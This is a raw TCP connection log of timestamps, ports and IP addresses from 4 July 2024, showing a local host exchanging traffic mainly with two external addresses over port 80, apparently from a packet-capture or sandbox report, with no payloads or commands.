Jul 4, 2024 20:34:28.980273962 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980298042 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.980308056 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980319023 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980323076 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.980329990 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980348110 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.980371952 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.009252071 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.009263992 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.009274006 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.009378910 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.009390116 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.009399891 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.009407997 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.009407997 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.009409904 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.009419918 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.009421110 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.009428978 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.009459972 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.009867907 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.009879112 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.009887934 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.009898901 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.009912968 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.009937048 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010018110 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010027885 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010037899 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010046959 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010052919 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010063887 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010073900 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010078907 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010078907 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010090113 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010101080 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010102987 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010121107 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010121107 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010137081 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010159016 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010183096 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010194063 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010202885 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010212898 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010225058 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010227919 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010238886 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010248899 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010250092 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010270119 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010288000 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010313034 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010324955 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010334969 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010356903 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010380030 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010411978 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010421991 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010432005 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010442019 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010456085 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010479927 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010482073 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010519028 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010529041 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010529995 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010565042 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010651112 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010662079 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010670900 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010683060 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010694027 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010704994 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010732889 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010880947 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010891914 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010901928 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010927916 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010950089 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.010956049 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010967016 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010972023 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010982037 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010993958 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.010999918 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011020899 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011042118 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011121988 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011132002 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011148930 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011153936 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011158943 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011164904 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011168957 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011178970 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011183977 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011202097 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011224985 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011277914 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011288881 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011297941 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011307955 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011317968 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011322975 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011346102 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011353016 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011360884 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011375904 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011384010 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011385918 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011396885 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011405945 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011420965 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011428118 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011445999 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011456013 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011460066 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011472940 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011482954 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011491060 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011492014 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011502981 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011509895 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011531115 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011554956 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011605024 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011615038 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011624098 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011632919 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011642933 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.011647940 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.011674881 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.012075901 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.012089014 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.012099028 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.012113094 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.012135983 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.012156963 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.012166977 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.012176991 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.012187958 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.012197971 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.012211084 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.012236118 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.046211004 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.046334982 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.046344995 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.046360016 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.046370983 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.046380043 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.046391010 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.046391964 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.046432018 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.046453953 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.048736095 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.085017920 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085036993 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085047960 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085092068 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.085115910 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085125923 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.085125923 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085136890 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085146904 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085155010 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.085180998 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.085342884 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085354090 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085365057 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085381985 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085391998 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085395098 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.085402012 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085413933 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085422993 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085427999 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.085433006 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085443020 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085449934 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.085453987 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085460901 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.085464001 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085477114 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.085485935 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.085532904 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.085532904 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.104726076 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.104742050 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.104787111 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.104844093 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.104855061 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.104865074 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.104876041 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.104897022 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.104924917 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.104940891 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.104952097 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.104984999 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.105484009 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.105500937 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.105510950 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.105515957 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.105521917 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.105545998 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.105568886 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.105580091 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.105591059 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.105628014 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.105668068 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.107441902 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.107501984 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.107733011 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:29.107902050 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:29.115300894 CEST	49746	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:29.800337076 CEST	49745	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:29.800847054 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:29.805887938 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:29.805979013 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:29.805989981 CEST	80	49745	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:29.806060076 CEST	49745	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:29.806236982 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:29.811204910 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:30.500760078 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:30.500842094 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:31.105062962 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:31.105694056 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:31.110656977 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:31.110693932 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:31.110723019 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:31.110760927 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:31.112170935 CEST	49750	443	192.168.2.4	172.217.16.142
Jul 4, 2024 20:34:31.112216949 CEST	443	49750	172.217.16.142	192.168.2.4
Jul 4, 2024 20:34:31.112273932 CEST	49750	443	192.168.2.4	172.217.16.142
Jul 4, 2024 20:34:31.114434958 CEST	49750	443	192.168.2.4	172.217.16.142
Jul 4, 2024 20:34:31.114453077 CEST	443	49750	172.217.16.142	192.168.2.4
Jul 4, 2024 20:34:31.122237921 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:31.127257109 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:31.786565065 CEST	443	49750	172.217.16.142	192.168.2.4
Jul 4, 2024 20:34:31.788264990 CEST	49750	443	192.168.2.4	172.217.16.142
Jul 4, 2024 20:34:31.788274050 CEST	443	49750	172.217.16.142	192.168.2.4
Jul 4, 2024 20:34:31.788645029 CEST	443	49750	172.217.16.142	192.168.2.4
Jul 4, 2024 20:34:31.788707972 CEST	49750	443	192.168.2.4	172.217.16.142
Jul 4, 2024 20:34:31.789411068 CEST	443	49750	172.217.16.142	192.168.2.4
Jul 4, 2024 20:34:31.789462090 CEST	49750	443	192.168.2.4	172.217.16.142
Jul 4, 2024 20:34:31.799436092 CEST	49750	443	192.168.2.4	172.217.16.142
Jul 4, 2024 20:34:31.799504042 CEST	443	49750	172.217.16.142	192.168.2.4
Jul 4, 2024 20:34:31.800246954 CEST	49750	443	192.168.2.4	172.217.16.142
Jul 4, 2024 20:34:31.800255060 CEST	443	49750	172.217.16.142	192.168.2.4
Jul 4, 2024 20:34:31.813657045 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:31.813709974 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:31.814865112 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:31.819629908 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:31.846370935 CEST	49750	443	192.168.2.4	172.217.16.142
Jul 4, 2024 20:34:32.035615921 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:32.035675049 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:32.085822105 CEST	443	49750	172.217.16.142	192.168.2.4
Jul 4, 2024 20:34:32.085843086 CEST	443	49750	172.217.16.142	192.168.2.4
Jul 4, 2024 20:34:32.085891008 CEST	49750	443	192.168.2.4	172.217.16.142
Jul 4, 2024 20:34:32.085901022 CEST	443	49750	172.217.16.142	192.168.2.4
Jul 4, 2024 20:34:32.086009979 CEST	443	49750	172.217.16.142	192.168.2.4
Jul 4, 2024 20:34:32.086200953 CEST	49750	443	192.168.2.4	172.217.16.142
Jul 4, 2024 20:34:32.088402987 CEST	49750	443	192.168.2.4	172.217.16.142
Jul 4, 2024 20:34:32.088417053 CEST	443	49750	172.217.16.142	192.168.2.4
Jul 4, 2024 20:34:32.088443995 CEST	49750	443	192.168.2.4	172.217.16.142
Jul 4, 2024 20:34:32.088490009 CEST	49750	443	192.168.2.4	172.217.16.142
Jul 4, 2024 20:34:32.167201996 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:32.167586088 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:32.172238111 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:32.172311068 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:32.172352076 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:32.172486067 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:32.172714949 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:32.177958965 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:32.910507917 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:32.913150072 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:32.913868904 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:32.918600082 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:33.150862932 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:33.150953054 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:33.300982952 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:33.301364899 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:33.306273937 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:33.306288004 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:33.306348085 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:33.306387901 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:33.306586027 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:33.311301947 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:34.002341032 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:34.002398014 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:34.005615950 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:34.008276939 CEST	80	49724	95.140.236.128	192.168.2.4
Jul 4, 2024 20:34:34.008378983 CEST	49724	80	192.168.2.4	95.140.236.128
Jul 4, 2024 20:34:34.008820057 CEST	49724	80	192.168.2.4	95.140.236.128
Jul 4, 2024 20:34:34.010552883 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:34.013592958 CEST	80	49724	95.140.236.128	192.168.2.4
Jul 4, 2024 20:34:34.224271059 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:34.224385977 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:34.329760075 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:34.330140114 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:34.335057020 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:34.335144997 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:34.335237980 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:34.337044954 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:34.337094069 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:34.340801001 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:35.043503046 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:35.043569088 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:35.044230938 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:35.050401926 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:35.205190897 CEST	49761	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:34:35.205208063 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:35.205271959 CEST	49761	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:34:35.205497980 CEST	49761	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:34:35.205507994 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:35.270104885 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:35.270164967 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:35.396830082 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:35.397161961 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:35.708055019 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:35.745244026 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:35.745349884 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:35.745703936 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:35.747864008 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:35.749468088 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:35.750446081 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:35.750494003 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:35.932663918 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:35.935096025 CEST	49761	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:34:35.935106993 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:35.936129093 CEST	443	49761	142.250.186.164	192.168.2.4
